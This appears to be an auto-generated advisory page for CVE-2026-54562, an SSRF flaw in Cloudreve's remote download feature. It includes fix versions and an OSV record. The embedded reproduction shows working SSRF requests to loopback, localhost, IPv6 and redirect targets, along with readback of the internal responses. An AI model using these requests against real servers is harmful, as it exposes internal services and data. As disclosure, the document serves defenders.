CVE-2026-54562: Cloudreve Non-admin Remote Download Users Can Vulnerability

MODERATE
Advisory Identifier: GHSA-x756-g4x3-c64m
CVSS 6.5
CWE-918
Published
Advisory Summary

CVE-2026-54562 is a MODERATE (CVSS 6.5) non-admin remote download users can vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Cloudreve libraries in the Go ecosystem. The issue involves non-admin remote download users can ssrf loopback/internal services and read imported responses. Remediation is available by upgrading affected packages to version 4.0.0-20260606025411-aaebf317a78f.

CVE-2026-54562 at a Glance

CVE Identifier CVE-2026-54562
GHSA Identifier GHSA-x756-g4x3-c64m
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Cloudreve
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54562

To remediate this vulnerability, upgrade all affected Cloudreve dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cloudreve/Cloudreve/v4 fixed: 4.0.0-20260606025411-aaebf317a78f
Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260606025411-aaebf317a78f
github.com/cloudreve/Cloudreve/v3 fixed: Latest secure release
Upgrade github.com/cloudreve/Cloudreve/v3 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54562, inspect your project dependencies for Cloudreve:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

Analyze the terminal output to locate any version of Cloudreve in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.0-20260606025411-aaebf317a78f), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Cloudreve, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets. When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files. This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator. ## Attacker requirements The attacker must be: - authenticated - non-admin - in a user group where `GroupPermissionRemoteDownload` is enabled Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not. ## Affected endpoint ```http POST /api/v4/workflow/download ``` Follow-up attacker readback was performed through normal workflow and file APIs: ```http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url ``` ## Root cause The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader. Relevant code paths: - `service/explorer/workflows.go:81` - `pkg/filemanager/workflows/remote_download.go:202` - `pkg/downloader/aria2/aria2.go:56` The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses. ## Impact A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment. In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files. Confirmed targets: - `http://127.0.0.1:7777/secret2` - `http://localhost:7777/localsecret` - `http://[::1]:7780/v6secret` - redirect to `http://127.0.0.1:7777/redirsecret` This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker. ## Reproduction ### 1. Permission negative control The attacker is a normal non-admin user in the default `User` group. Before enabling remote download for the group: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"} ``` Response: ```json {"code":40007,"msg":"Group not allowed to download files"} ``` ### 2. Enable only remote download permission for the non-admin group The default install grants remote download to the admin group only. The default `User` group does not have it. Confirmed in: - `inventory/migration.go:154` - `inventory/migration.go:179` For this test, I only changed group 2 permissions from: ```text hAg= ``` to: ```text hAo= ``` The attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`. ### 3. Start an internal listener Example listener on the Cloudreve host: ```text 127.0.0.1:7777 ``` The listener returned a marker response: ```text SSRF_SECRET_2_20260527 ``` ### 4. Queue a remote download to loopback ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"} ``` Response: ```json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]} ``` The internal listener received the request: ```text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 - ``` Aria2 completed the download: ```text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2 ``` ### 5. Read the imported internal response as the attacker The task completed successfully: ```json {"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}} ``` The attacker could list the imported file: ```json {"name":"secret2","path":"cloudreve://my/secret2"} ``` The attacker could then download and read the response body: ```text SSRF_SECRET_2_20260527 ``` ## Additional validated variants ### localhost Input: ```text http://localhost:7777/localsecret ``` Attacker readback: ```text LOCALHOST_SECRET_20260527 ``` ### Redirect to loopback Input: ```text http://127.0.0.1:7779/anything ``` Redirect: ```text 302 Location: http://127.0.0.1:7777/redirsecret ``` Attacker readback: ```text REDIR_SECRET_20260527 ``` ### IPv6 localhost Input: ```text http://[::1]:7780/v6secret ``` Attacker readback: ```text IPV6_SECRET_20260527 ``` ## Expected behavior Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator. Redirect targets should be checked with the same policy. ## Actual behavior Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.

CVE-2026-54562 Affected Cloudreve Versions

2 component(s)
Fixed Versions:
4.0.0-20260606025411-aaebf317a78f
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cloudreve/Cloudreve/v4
Go
< 4.0.0-20260606025411-aaebf317a78f
4.0.0-20260606025411-aaebf317a78f
github.com/cloudreve/Cloudreve/v3
Go
≤ 3.0.0-20250225100611-da4e44b77af4

References

Frequently Asked Questions

What is CVE-2026-54562?
CVE-2026-54562 is a security vulnerability in Cloudreve involving Non-admin remote download users can SSRF loopback/internal services and read imported responses under CWE-918: Server-Side Request Forgery (SSRF).
Which Cloudreve versions are affected?
Affected versions include releases prior to 4.0.0-20260606025411-aaebf317a78f across affected packages: github.com/cloudreve/Cloudreve/v4, github.com/cloudreve/Cloudreve/v3.
What version fixes CVE-2026-54562?
Upgrading to 4.0.0-20260606025411-aaebf317a78f (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cloudreve/Cloudreve/v4 affected?
Yes, github.com/cloudreve/Cloudreve/v4 is affected in releases prior to 4.0.0-20260606025411-aaebf317a78f. Upgrade your dependency to 4.0.0-20260606025411-aaebf317a78f or later.
Is github.com/cloudreve/Cloudreve/v3 affected?
Yes, github.com/cloudreve/Cloudreve/v3 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54562?
CVE-2026-54562 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54562?
CVE-2026-54562 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-54562?
Run the dependency tree command: 'inspect dependencies for github.com/cloudreve/Cloudreve/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x756-g4x3-c64m",
  "modified" : "2026-07-20T21:16:51Z",
  "published" : "2026-07-20T21:16:51Z",
  "aliases" : [ "CVE-2026-54562" ],
  "summary" : "Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses",
  "details" : "## Summary\n\nCloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.\n\nWhen the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.\n\nThis does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.\n\n## Attacker requirements\n\nThe attacker must be:\n\n- authenticated\n- non-admin\n- in a user group where `GroupPermissionRemoteDownload` is enabled\n\nDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not.\n\n## Affected endpoint\n\n```http\nPOST /api/v4/workflow/download\n```\n\nFollow-up attacker readback was performed through normal workflow and file APIs:\n\n```http\nGET /api/v4/workflow?category=downloaded...\nGET /api/v4/file?uri=cloudreve://my...\nPOST /api/v4/file/url\n```\n\n## Root cause\n\nThe remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.\n\nRelevant code paths:\n\n- `service/explorer/workflows.go:81`\n- `pkg/filemanager/workflows/remote_download.go:202`\n- `pkg/downloader/aria2/aria2.go:56`\n\nThe application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.\n\n## Impact\n\nA non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.\n\nIn my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.\n\nConfirmed targets:\n\n- `http://127.0.0.1:7777/secret2`\n- `http://localhost:7777/localsecret`\n- `http://[::1]:7780/v6secret`\n- redirect to `http://127.0.0.1:7777/redirsecret`\n\nThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.\n\n## Reproduction\n\n### 1. Permission negative control\n\nThe attacker is a normal non-admin user in the default `User` group.\n\nBefore enabling remote download for the group:\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":40007,\"msg\":\"Group not allowed to download files\"}\n```\n\n### 2. Enable only remote download permission for the non-admin group\n\nThe default install grants remote download to the admin group only. The default `User` group does not have it.\n\nConfirmed in:\n\n- `inventory/migration.go:154`\n- `inventory/migration.go:179`\n\nFor this test, I only changed group 2 permissions from:\n\n```text\nhAg=\n```\n\nto:\n\n```text\nhAo=\n```\n\nThe attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`.\n\n### 3. Start an internal listener\n\nExample listener on the Cloudreve host:\n\n```text\n127.0.0.1:7777\n```\n\nThe listener returned a marker response:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n### 4. Queue a remote download to loopback\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret2\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":0,\"data\":[{\"id\":\"OzH4\",\"status\":\"queued\",\"type\":\"remote_download\"}]}\n```\n\nThe internal listener received the request:\n\n```text\n127.0.0.1 - - [27/May/2026 13:00:46] \"GET /secret2 HTTP/1.1\" 200 -\n```\n\nAria2 completed the download:\n\n```text\nDownload complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2\n```\n\n### 5. Read the imported internal response as the attacker\n\nThe task completed successfully:\n\n```json\n{\"id\":\"OzH4\",\"status\":\"completed\",\"summary\":{\"props\":{\"src_str\":\"http://127.0.0.1:7777/secret2\",\"failed\":0}}}\n```\n\nThe attacker could list the imported file:\n\n```json\n{\"name\":\"secret2\",\"path\":\"cloudreve://my/secret2\"}\n```\n\nThe attacker could then download and read the response body:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n## Additional validated variants\n\n### localhost\n\nInput:\n\n```text\nhttp://localhost:7777/localsecret\n```\n\nAttacker readback:\n\n```text\nLOCALHOST_SECRET_20260527\n```\n\n### Redirect to loopback\n\nInput:\n\n```text\nhttp://127.0.0.1:7779/anything\n```\n\nRedirect:\n\n```text\n302 Location: http://127.0.0.1:7777/redirsecret\n```\n\nAttacker readback:\n\n```text\nREDIR_SECRET_20260527\n```\n\n### IPv6 localhost\n\nInput:\n\n```text\nhttp://[::1]:7780/v6secret\n```\n\nAttacker readback:\n\n```text\nIPV6_SECRET_20260527\n```\n\n## Expected behavior\n\nCloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.\n\nRedirect targets should be checked with the same policy.\n\n## Actual behavior\n\nCloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260606025411-aaebf317a78f"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0-20250225100611-da4e44b77af4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54562"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:16:51Z",
    "nvd_published_at" : "2026-07-15T15:16:44Z"
  }
}